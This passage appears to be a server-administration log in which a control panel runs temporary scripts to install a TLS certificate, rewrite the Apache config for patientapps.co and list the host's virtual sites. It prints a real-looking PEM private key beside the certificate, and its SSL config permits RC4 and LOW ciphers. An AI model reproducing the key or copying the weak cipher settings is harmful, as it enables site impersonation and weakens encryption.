cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzM0LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AA3h8jAr0w3BQGISCepVLvxHdHyx1+kw7w5CHrR+Tqo0AAAB
mTI2EI4AAAQDAEYwRAIgcK7L33tsnn7aWNx+IhqY/qXYnjnfLH4I2/twQ8TTjdQC
IEY/0Hwx9YtX4Ba/F5L0d0Vk7kzZVAP7oPoAG6eOQqONAHYAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZMjYQhQAABAMARzBFAiBUpy1OmWQCVfeQ
rEbGhW5KzcFaunj4Wr+WPagWk6GNlgIhAOaNoU8QlZWm2DIZq65IYszPwGid7e/4
9NLXJrdD+MZsMA0GCSqGSIb3DQEBCwUAA4IBAQAlGP/4UDrL0ooaamG40mIS2Rpn
RekfQtH50wRpTdz+sThC6aoMsSaj4/BeY4XZpZYuQAOflip0fJZvs7SgSxHrG8xc
uF0WpLEmViwA37jMaPofPfn50KFxwJu6rn6W6BeoaoCTXSNWwzt6KPmm00YWsGvP
Jc4nI8tsD08V19EplPntmzRH4MBq+RY5srI1klYdkOmOlKAuAMG3gV8EY8smDqAj
eZX6nvfY4g6b7CwLkswsr5BCMk2Fyzex1Kel7mcG0wbR6rNmpZYq4hfG1qkbCJb9
5uh4NpPjXqenWJvrpGJGLRcZiPp3uDSgFA3hX20OEoZC6Vwa5TaaJbuCxd/w
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsq2DtbOFZLJIO
WJzBWn1yxsKMHCubHOmp3cwVq5lwW+KqH7b6+DYoDF0HqbvmjkrOdowU3Kgavx/6
oXw2gDNnq8taXQI6Pa9b0MxjyZfCU+OUHzgEztpWRW/i7O9noWWQknR6F7IcjrtU
+U1k+Cww0BKmMkXvTuc8rFQYcf5+BGhfYIr5OuSc6ZU9G3hwqbt2TcupD0oxyoSf
luR6YsBoaH+5lENgeRHL01u1/Nc0zON+Brl18pbprghLGysWR2HIAvTNEsXRzaTp
bT3Gl9sHUR/fSOAFyUidrbZ+3VADaZN0RWTw6yXAcQEtaAqWJ81wEXz4RySCvFWB
f12vrJ4nAgMBAAECggEAFcc/4HJdMewnN9wBWXnaXMGpBBcBgPzyk9Q/y3PrVHqi
aia544mu+vokObU01+2Wjdfx7yetpEH6/JelnRIqaacHbQxSHZpuJbx+Kw/gLkh6
adJONH0KmNsFM7ACuiVnNAbk3gljE6sFAcC3/EY4/Kch0wiAPaDMFaD+sl6eZLJg
jcnvUrIW8ZXuD23vVvopNwvyYVnVlDFl7VL5vyA1oTGivA1VFD8NyPzG89LuGRBG
PqfpkzXwghJJg0N9OpXQXFCXoIHZzy2yZL14pYO7/6v36QKRGK0lizpYzwFBO3CK
yMYJRALtZOn+ypSVHzovwawh0IlY6NqZslPnan/zkQKBgQDZ4QByjc4YoTN4p/9H
8goiU8GWH5qPDK6y2SqcvxNNLgaAETLDQJxK9Ic1ohQ9/IDiYTh5v1Kt3pCGmX9k
BeUbuGiGc5ldul82icBO3MfgieS1tM6mnazbhYL4oZKDY9cMOFn+qsaTjBa1Oqdt
UdHdSjz+vUuNk6baMUTTOdSDmwKBgQDK4WcvIduel0dff343psa9FcCBMCGT/2sp
Viirg8BIQoUPJwwMrjKQNU5Br0JKbouToofA4u1YOerqA/VUCckwgG3lzHOywoa5
ni16jv7xxlQVxc80CpLJnzNZqjB3npacAVxA+/5/AgOW0QOkpMxmVabMAcaV78fK
kYa8T1Y2ZQKBgQDSTxm7eZ3isFeas676p2uYzvgiDMeIJVnMUUuMmfPrn+2uWOuD
BS7YO0j4QEcBvmY6HlYBTuhj5F3lTu1kgzwvkcVzYso7atbVMgprFTnqR7B4pNqE
gdaE308Y5/0gzpKZvRtBc17StXqF3OQX5c6JqEtQKTBwrIF2Q/CHY1762QKBgEIf
lPHXpyzZQXnuo8SfpsaaAFQay9bguJyQaFD+b/0dMSDvKQ44+GHn/cmKxaBcx0En
B/fl/lVzCw2anKr3RYt5UFhFerAYlrCIzWnUkWNbsKwn/JCJoa31JVdkEMfr+EqA
ZwEHILtkfKb7GKTg0X3JDMQREBhuPj/XjoJxmTfBAoGAcJd4a2NUiFyZe4j3QpoH
5JwH86dUAmo6uERIGeZFmzAGuw5no4BdQvZt4KoWIAUvDG0tsdPfpi+IAHu3/cUd
L9FAqoVd5SRRcZuRFpmGL2y2dwaOzeieJGz5+pc6o+9ztO5uwSdz8V8i9Lb2pY5T
fioPSH2h3ocQToel5nqbwVM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-10 06:00:28:
chmod 755 /tmp/pkp203496; /tmp/pkp203496; rm /tmp/pkp203496
2025-09-10 06:00:28:
dir=/etc/ssl/certs
2025-09-10 06:00:28:
PUT: /tmp/pkp131213
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-10 06:00:28:
chmod 755 /tmp/pkp131213; /tmp/pkp131213; rm /tmp/pkp131213
2025-09-10 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42
<VirtualHost *:80>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-09-10 06:00:28:
PUT: /tmp/pkp311292
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi
2025-09-10 06:00:28:
chmod 755 /tmp/pkp311292; /tmp/pkp311292; rm /tmp/pkp311292
2025-09-10 06:00:28:
2025-09-10 06:00:28:
PUT: /tmp/pkp757171
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-10 06:00:28:
chmod 755 /tmp/pkp757171; /tmp/pkp757171; rm /tmp/pkp757171
2025-09-10 06:00:28:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-10 06:00:29: Establishing a connection
2025-09-10 06:00:29:
PUT: /tmp/pkp439559
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-10 06:00:29:
chmod 755 /tmp/pkp439559; /tmp/pkp439559; rm /tmp/pkp439559
2025-09-10 06:00:29:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-10 06:00:29:
PUT: /tmp/pkp101223
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-10 06:00:29:
chmod 755 /tmp/pkp101223; /tmp/pkp101223; rm /tmp/pkp101223
2025-09-10 06:00:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 1820
<VirtualHost *:80>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-09-10 06:00:29:
PUT: /tmp/pkp525455
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-10 06:00:29:
chmod 755 /tmp/pkp525455; /tmp/pkp525455; rm /tmp/pkp525455
2025-09-10 06:00:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt 5368
77:51:69:87:ea:14:2b:73:fb:b5:e4:0a:96:0b:29:0d
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBWqyFhxfj3PqOvp3DpWWLJUhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMTU3WhcNMjUxMjA5MDUwMTU2WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKyrYO1s4Vkskg5YnMFafXLGwowcK5sc6andzBWrmXBb4qoftvr4NigMXQepu+aO
Ss52jBTcqBq/H/qhfDaAM2ery1pdAjo9r1vQzGPJl8JT45QfOATO2lZFb+Ls72eh
ZZCSdHoXshyOu1T5TWT4LDDQEqYyRe9O5zysVBhx/n4EaF9givk65JzplT0beHCp
u3ZNy6kPSjHKhJ+W5HpiwGhof7mUQ2B5EcvTW7X81zTM434GuXXylumuCEsbKxZH
YcgC9M0SxdHNpOltPcaX2wdRH99I4AXJSJ2ttn7dUANpk3RFZPDrJcBxAS1oCpYn
zXARfPhHJIK8VYF/Xa+snicCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUuBHK5scLmp+OZJTbS4WkkiajmpowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzM0LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AA3h8jAr0w3BQGISCepVLvxHdHyx1+kw7w5CHrR+Tqo0AAAB
mTI2EI4AAAQDAEYwRAIgcK7L33tsnn7aWNx+IhqY/qXYnjnfLH4I2/twQ8TTjdQC
IEY/0Hwx9YtX4Ba/F5L0d0Vk7kzZVAP7oPoAG6eOQqONAHYAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZMjYQhQAABAMARzBFAiBUpy1OmWQCVfeQ
rEbGhW5KzcFaunj4Wr+WPagWk6GNlgIhAOaNoU8QlZWm2DIZq65IYszPwGid7e/4
9NLXJrdD+MZsMA0GCSqGSIb3DQEBCwUAA4IBAQAlGP/4UDrL0ooaamG40mIS2Rpn
RekfQtH50wRpTdz+sThC6aoMsSaj4/BeY4XZpZYuQAOflip0fJZvs7SgSxHrG8xc
uF0WpLEmViwA37jMaPofPfn50KFxwJu6rn6W6BeoaoCTXSNWwzt6KPmm00YWsGvP
Jc4nI8tsD08V19EplPntmzRH4MBq+RY5srI1klYdkOmOlKAuAMG3gV8EY8smDqAj
eZX6nvfY4g6b7CwLkswsr5BCMk2Fyzex1Kel7mcG0wbR6rNmpZYq4hfG1qkbCJb9
5uh4NpPjXqenWJvrpGJGLRcZiPp3uDSgFA3hX20OEoZC6Vwa5TaaJbuCxd/w
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsq2DtbOFZLJIO
WJzBWn1yxsKMHCubHOmp3cwVq5lwW+KqH7b6+DYoDF0HqbvmjkrOdowU3Kgavx/6
oXw2gDNnq8taXQI6Pa9b0MxjyZfCU+OUHzgEztpWRW/i7O9noWWQknR6F7IcjrtU
+U1k+Cww0BKmMkXvTuc8rFQYcf5+BGhfYIr5OuSc6ZU9G3hwqbt2TcupD0oxyoSf
luR6YsBoaH+5lENgeRHL01u1/Nc0zON+Brl18pbprghLGysWR2HIAvTNEsXRzaTp
bT3Gl9sHUR/fSOAFyUidrbZ+3VADaZN0RWTw6yXAcQEtaAqWJ81wEXz4RySCvFWB
f12vrJ4nAgMBAAECggEAFcc/4HJdMewnN9wBWXnaXMGpBBcBgPzyk9Q/y3PrVHqi
aia544mu+vokObU01+2Wjdfx7yetpEH6/JelnRIqaacHbQxSHZpuJbx+Kw/gLkh6
adJONH0KmNsFM7ACuiVnNAbk3gljE6sFAcC3/EY4/Kch0wiAPaDMFaD+sl6eZLJg
jcnvUrIW8ZXuD23vVvopNwvyYVnVlDFl7VL5vyA1oTGivA1VFD8NyPzG89LuGRBG
PqfpkzXwghJJg0N9OpXQXFCXoIHZzy2yZL14pYO7/6v36QKRGK0lizpYzwFBO3CK
yMYJRALtZOn+ypSVHzovwawh0IlY6NqZslPnan/zkQKBgQDZ4QByjc4YoTN4p/9H
8goiU8GWH5qPDK6y2SqcvxNNLgaAETLDQJxK9Ic1ohQ9/IDiYTh5v1Kt3pCGmX9k
BeUbuGiGc5ldul82icBO3MfgieS1tM6mnazbhYL4oZKDY9cMOFn+qsaTjBa1Oqdt
UdHdSjz+vUuNk6baMUTTOdSDmwKBgQDK4WcvIduel0dff343psa9FcCBMCGT/2sp
